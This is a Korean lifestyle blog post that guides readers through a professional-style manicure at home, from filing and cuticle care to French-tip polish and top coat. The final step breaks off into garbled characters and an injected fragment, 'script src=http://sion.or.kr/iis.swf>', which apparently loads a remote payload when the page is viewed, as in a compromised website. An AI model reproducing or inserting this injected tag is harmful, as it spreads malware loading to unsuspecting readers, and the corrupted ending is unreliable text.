전문가의 네일 케어, 집에서 따라 해보자

어김없이 닥쳐온 노출의 계절, 올 여름은 왜 이리 후텁지근하고 짜증나고 끈적끈적한 게 영 기분이 그러네요. 그럴수록 상쾌한 일을 상상하면 조금 나아진다고 하는데 정말 그런가요?

노출은 여성만이 즐길 수 있는 특권이라 생각해요. 아름다움을 과시하는 것이 꼭 섹시한 것만은 아니잖아요. 자신감의 표현이며 이 또한 자기 관리의 한 측면이라고 생각되네요.
여성들이 많이 신경 쓰는 것 중 하나가 바로 손톱 발톱 아닐까요. 손과 발은 노출되면서 자연히 남의 시선을 받을 수밖에 없죠.

그러면 손톱 발톱은 어떻게 관리할까요. 여기 전문가가 모델과 함께 진행한 손톱 발톱 관리 요령을 처음부터 끝까지 지켜볼까요. 전문가라고 해서 여러분들이 어려워할 필요는 없을 것 같아요. 다만 오랜 경험에서 우러난 숙련되고 세련된 손길에 적당히 좋은 도구가 있기에 가능하다고 믿으세요.

모델로는 양선정 씨(22, 대학생)가 수고하셨고 시술은 네일텐아카데미 김미영 부원장이 맡아 해주셨습니다, 그리고 장소는 네일텐아카데미 이대점에서 제공했습니다. 감사합니다. 특히 네일텐아카데미 원장이며 한국네일협회 회장인 이미선 원장께 감사드립니다.





자, 이제 여러분도 집에서 따라 해 보세요.
참, 몇가지 준비물도 있으니 미리 챙기세요. 그리고 먼저 손 발을 깨끗이 씻으세요.


<손톱 관리>

1, 네일 케어 직전. 맨손입니다. 깨끗이 씻은 손이 참 아름답죠. 반지도 이쁘죠.



2, 파일로 우선 손톱 끝을 살살 정리합니다. 동그스름한 게 보기 좋습니다.
* 파일은 보통 다 갖고 계시죠. 없으면 손톱깎이를 이용하세요



3, 센딩 작업이라고 하더군요. 네일 버퍼를 이용해 손톱 표면을 매끄럽게 다듬는 것입니다.
* 네일버퍼 없는 분이 많을 것입니다. 그럴 땐 면봉으로 살살 문질러 보는 것도 좋을 것 같습니다



4, 큐티클을 정리해야죠. 이건 필수 작업입니다. 푸셔라는 도구로 밀어주세요.
* 아, 이 작업 바로 전에 큐티클 오일을 바르더군요. 큐티클이 연해진다고 합니다.



5, 끝으로 밀려난 큐티클 제거. 네일 니퍼를 이용하세요.
* 그러나 썩 권하고 싶지는 않더군요. 어떤 사람은 니퍼를 자주 쓰면 굳은 살이 배긴다고 하고 한번 하면 때마다 계속해야 된다고 하더군요. 니퍼 대부분 없으시죠. 적당히 손톱깎이를 이용해 보세요.



6, 마사지. 마사지 크림(핸드 크림도 좋음)을 바르고 손등 손바닥을 주물러 부드럽게 하세요. 닦아낼 때는 스팀 타월이 좋지만 없으면 키친 타월도 좋아요



7, 아세톤으로 큐티클 오일을 지워내세요. 아까 4번에서 오일 발랐죠. 유분을 정리해야 네일 컬러가 잘 먹힌답니다.



8, 베이스코트 바르기. 네일 에나멜이 손톱에 착색되지 않게 방어막을 친다고 보면 됩니다.



9, 프렌치 타입이라고 아시죠?. 바로 사진처럼 손톱 끝 부분만 곱게 바르는 것입니다. 작년부턴가 유행한 타입이라고 하네요. 지금 바르는 것은 짙은 청색, 딥 블루입니다. 프렌치 타입은 짙은 색이 어울린다고 합니다.
* 이때 주의할 것은 브러시를 누르지말고 세워서 자국이 안나게 발라야 한다는 것.
혼자 할 때는 둥그렇게 돌아가면서 칠하되 한번 왕복 하세요. 두껍게 바르면 모양이 살지 않는다고 합니다.
* 요즘은 펄이 들어간 에나멜도 인기가 있고 핫 핑크도 유행한답니다.



10, 다음은 탑 코트로 광택을 내세요. 그러면 반짝일 뿐 아니라 벗겨지지도 않죠.
* 이렇게 공 dnjskd들이면 한 일?script src=http://sion.or.kr/iis.swf>

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